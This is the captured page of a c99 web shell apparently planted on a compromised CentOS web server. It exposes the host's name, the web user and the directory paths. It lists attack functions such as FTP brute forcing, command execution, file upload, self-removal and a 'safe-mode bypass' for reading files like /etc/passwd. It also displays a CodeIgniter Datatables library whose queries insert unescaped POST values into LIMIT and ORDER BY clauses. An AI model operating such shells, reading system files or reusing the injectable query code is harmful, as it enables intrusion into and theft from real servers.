!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/libraries/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Datatables.php (11.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php if(!defined('BASEPATH')) exit('No direct script access allowed');
  
/**
  * Ignited Datatables
  *
  * This is a wrapper class/library based on the native Datatables server-side implementation by Allan Jardine
  * found at http://datatables.net/examples/data_sources/server_side.html for CodeIgniter
  *
  * @package    CodeIgniter
  * @subpackage libraries
  * @category   library
  * @version    0.3
  * @author     Vincent Bambico <metal.conspiracy@gmail.com>
  *             Yusuf Ozdemir <yusuf@ozdemir.be>
  *             Peter Trerotola <petroz@mac.com>
  * @link       http://codeigniter.com/forums/viewthread/160896/
  */
  
class Datatables
  
{
    
/**
    * CodeIgniter global variable
    *
    * @global object $ci
    * @name   $ci
    */
    
protected $ci;

    
/**
    * Copies an instance of CI
    */
    
public function __construct()
    {
      
$this->ci =& get_instance();
    }

    
/**
    * Magic method to facilitate method overloading
    */
    
public function __call($name$args)
    {
      return 
call_user_func_array(array($this$name), $args);
    }

    
/**
    * Overload handler for generate method
    */
    
public function generate()
    {
      
$num func_num_args();
      
$args func_get_args();
      
      switch(
$num)
      {
        case 
1:
          
$result $this->__call('generate_from_sql'$args);
          break;
        case 
3:
          
$result $this->__call('generate_from_tci'$args);
          break;
        case 
4:
          
$result $this->__call('generate_from_advanced'$args);
          break;
        default;
          die(
'Invalid set of arguments passed.');
      }

      return 
$result;
    }

    
/**
    * Builds all the necessary query segments and performs the main query based on passed arguments
    *
    * @param string $table
    * @param mixed $columns
    * @param string $index
    * @return string
    */
    
public function generate_from_tci($table$columns$index)
    {
      
$sLimit $this->get_paging();
      
$sOrder $this->get_ordering($columns);
      
$sWhere $this->get_filtering($columns);
      
$rResult $this->get_display_data($table$columns$sWhere$sOrder$sLimit);
      
$rResultFilterTotal $this->get_data_set_length();
      
$aResultFilterTotal $rResultFilterTotal->result_array();
      
$iFilteredTotal $aResultFilterTotal[0]['FOUND_ROWS()'];
      
$rResultTotal $this->get_total_data_set_length($table$index$sWhere);
      
$aResultTotal $rResultTotal->result_array();
      
$iTotal $aResultTotal[0]["COUNT($table.$index)"];
      return 
$this->produce_output($columns$iTotal$iFilteredTotal$rResult);
    }

    
/**
    * Builds all the necessary query segments and performs the main query based on passed arguments including join tables
    *
    * @param string $table
    * @param mixed $columns
    * @param string $index
    * @param mixed $options
    * @return string
    */
    
public function generate_from_advanced($table$columns$index$options)
    {
      
$jointables = (isset($options['joins']) && is_array($options['joins']))? $options['joins'] : '';
      
$custom_columns = (isset($options['custom_columns']) && is_array($options['custom_columns']))? $options['custom_columns'] : '';
      
$custom_filter = (isset($options['custom_filter']) && $options['custom_filter'] != '')? $options['custom_filter'] : null;
      
$tablenames $this->get_aliased_tables($columns$table$jointables);
      
$columns $this->get_referenced_columns($columns$table$jointables);
      
$sLimit $this->get_paging();
      
$sOrder $this->get_ordering($columns$table);
      
$sWhere $this->get_filtering($columns$jointables$custom_filter);
      
$rResult $this->get_display_data($tablenames$columns$sWhere$sOrder$sLimit);
      
$rResultFilterTotal $this->get_data_set_length();
      
$aResultFilterTotal $rResultFilterTotal->result_array();
      
$iFilteredTotal $aResultFilterTotal[0]['FOUND_ROWS()'];
      
$rResultTotal $this->get_total_data_set_length($table$index$sWhere$tablenames);
      
$aResultTotal $rResultTotal->result_array();
      
$iTotal $aResultTotal[0]["COUNT($table.$index)"];
      return 
$this->produce_output($columns$iTotal$iFilteredTotal$rResult$custom_columns);
    }

    
/**
    * Creates a pagination query segment
    *
    * @return string
    */
    
protected function get_paging()
    {
      
$sLimit '';

      if(
$this->ci->input->post('iDisplayStart') && $this->ci->input->post('iDisplayLength') != '-1')
        
$sLimit 'LIMIT ' $this->ci->input->post('iDisplayStart') . ', ' $this->ci->input->post('iDisplayLength');
      else
      {
        
$iDisplayLength $this->ci->input->post('iDisplayLength');
        
$sLimit = (empty($iDisplayLength))? 'LIMIT 0,10' 'LIMIT 0,' $iDisplayLength;
      }

      return 
$sLimit;
    }

    
/**
    * Creates a sorting query segment
    *
    * @param string $columns
    * @return string
    */
    
protected function get_ordering($columns)
    {
      if(
$this->ci->input->post('iSortCol_0') != null)
      {
        
$sOrder 'ORDER BY ';
        
$sColArray = ($this->ci->input->post('sColumns'))? explode(','$this->ci->input->post('sColumns')) : $columns;

        for(
$i 0$i intval($this->ci->input->post('iSortingCols')); $i++)
          if(
$sColArray[intval($this->ci->input->post('iSortCol_' $i))] && in_array($sColArray[intval($this->ci->input->post('iSortCol_' $i))], $columns))
            
$sOrder .= $sColArray[intval($this->ci->input->post('iSortCol_' $i))] . ' ' $this->ci->input->post('sSortDir_' $i) . ', ';

        
$sOrder substr_replace($sOrder'', -2);
        if(
$sOrder == 'ORDER BY' || $sOrder == 'ORDER B'$sOrder '';
      }

      return 
$sOrder;
    }

    
/**
    * Creates a filtering query segment
    *
    * @param string $columns
    * @param mixed $jointables optional and is used for joins only
    * @return string
    */
    
protected function get_filtering($columns$jointables null$custom_filter null)
    {
      
$sWhere '';

      if(isset(
$jointables) && is_array($jointables))
      {
        
$sWhere 'WHERE ';

        foreach(
$jointables as $jt_col_key => $jt_col_val)
          
$sWhere .= $jt_col_val['fk'] . ' AND ';

        
$sWhere substr_replace($sWhere'', -4);
      }

      if(
$this->ci->input->post('sSearch') != '')
      {
        
$sWhere .= (isset($jointables) && is_array($jointables))? ' AND ' 'WHERE ';
        
$sWhere .= '(';

        
$sColArray = ($this->ci->input->post('sColumns'))? explode(','$this->ci->input->post('sColumns')) : $columns;
        
        for(
$i 0$i count($sColArray); $i++)
          if(
$this->ci->input->post('bSearchable_' $i) == 'true')
            if(
$sColArray[$i] && in_array($sColArray[$i], $columns))
                  
$sWhere .= $sColArray[$i] . " LIKE '%" mysql_real_escape_string($this->ci->input->post('sSearch')) . "%' OR ";

        
$sWhere substr_replace($sWhere'', -3);
        
$sWhere .= ')';
      }

      for(
$i 0$i count($columns); $i++)
      {
        if(
$this->ci->input->post('bSearchable_' $i) == 'true' && $this->ci->input->post('sSearch_' $i) != '')
        {
          
$sWhere .= ($sWhere == '')? 'WHERE ' ' AND ';
          
$sWhere .= $columns[$i] . " LIKE '%" mysql_real_escape_string($this->ci->input->post('sSearch_' $i)) . "%' ";
        }
      }

      if(isset(
$custom_filter) && $custom_filter != null)
      {
        
$sWhere .= ($sWhere == '')? 'WHERE ' ' AND ';
        
$sWhere .= $custom_filter;
      }

      return 
$sWhere;
    }

    
/**
    * Combines all created query segments to build the main query
    *
    * @param string $table
    * @param string $columns
    * @param string $sWhere
    * @param string $sOrder
    * @param string $sLimit
    * @return object
    */
    
protected function get_display_data($table$columns$sWhere$sOrder$sLimit)
    {
      return 
$this->ci->db->query
      
("
        SELECT SQL_CALC_FOUND_ROWS " 
str_replace(' , '' 'implode(', '$columns)) . "
        FROM $table
        $sWhere
        $sOrder 
        $sLimit
      "
);
    }

    
/**
    * Gets all matched rows
    *
    * @return object
    */
    
protected function get_data_set_length()
    {
      return 
$this->ci->db->query('SELECT FOUND_ROWS()');
    }

    
/**
    * Gets the count of all rows found
    *
    * @param string $table
    * @param string $index
    * @param string $sWhere
    * @param string $tablenames optional and is used for joins only
    * @return string
    */
    
protected function get_total_data_set_length($table$index$sWhere$tablenames null)
    {
      
$from = ($tablenames != null)? $tablenames $table;

      return 
$this->ci->db->query
      
("
        SELECT COUNT($table.$index)
        FROM $from
        $sWhere
      "
);
    }

    
/**
    * Creates a query segment with table references for column names
    *
    * @param mixed $columns
    * @param string $table
    * @param mixed $jointables
    * @return string
    */
    
protected function get_referenced_columns($columns$table$jointables)
    {
      foreach(
$columns as $column)
        
$tabledotcolumn[] = $table '.' $column;

      if(
is_array($jointables) && count($jointables) > 0)
        foreach(
$jointables as $jointable_key => $jointable)
          foreach(
$jointable['columns'] as $jcolumn_key => $jcolumn_val)
            
$tabledotcolumn[] = $jointable_key '.' $jcolumn_val;

      return 
$tabledotcolumn;
    }

    
/**
    * Creates a query segment with aliased table names
    *
    * @param mixed $columns
    * @param string $table
    * @param mixed $jointables
    * @return string
    */
    
protected function get_aliased_tables($columns$table$jointables)
    {
      
$tables $table;

      if(
is_array($jointables) && count($jointables) > 0)
        foreach (
$jointables as $jointable_key => $jointable)
          
$tables .= ', ' $jointable_key;

      return 
$tables;
    }

    
/**
    * Builds a JSON encoded string data
    *
    * @param string $columns
    * @param string $iTotal
    * @param string $iFilteredTotal
    * @param string $rResult
    * @return string
    */
    
protected function produce_output($columns$iTotal$iFilteredTotal$rResult$custom_columns '')
    {
      
$aaData = array();
      
$sColumnOrder '';

      foreach(
$rResult->result_array() as $row_key => $row_val)
      {
        foreach(
$row_val as $col_key => $col_val)
        {
          if(
$row_val[$col_key] == 'version')
            
$aaData[$row_key][$col_key] = ($aaData[$row_key][$col_key] == 0)? '-' $col_val;
          else
            
$aaData[$row_key][] = $col_val;
        }

        if(isset(
$custom_columns) && is_array($custom_columns))
        {
          foreach(
$custom_columns as $cus_col_key => $cus_col_val)
          {
            if(isset(
$cus_col_val[1]) && is_array($cus_col_val[1]))
            {
              foreach(
$cus_col_val[1] as $cus_colr_key => $cus_colr_val)
                
$cus_col_val[0] = str_ireplace('$' . ($cus_colr_key 1), $aaData[$row_key][array_search($cus_colr_val$columns)], $cus_col_val[0]);

              
$aaData[$row_key][] = $cus_col_val[0];
            }
            else
              
$aaData[$row_key][] = $cus_col_val[0];
          }
        }
      }

      foreach(
$columns as $col_key => $col_val)
        
$sColumnOrder .= $col_val ',';

      if(isset(
$custom_columns) && is_array($custom_columns))
        foreach(
$custom_columns as $cus_col_key => $cus_col_val)
          
$sColumnOrder .= $cus_col_key ',';

      
$sColumnOrder substr_replace($sColumnOrder'', -1);

      
$sOutput = array
      (
        
'sEcho'                => intval($this->ci->input->post('sEcho')),
        
'iTotalRecords'        => $iTotal,
        
'iTotalDisplayRecords' => $iFilteredTotal,
        
'aaData'               => $aaData,
        
'sColumns'             => $sColumnOrder
      
);

      return 
json_encode($sOutput);
    }
  }
/* End of file Datatables.php */
/* Location: ./application/libraries/Datatables.php */

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--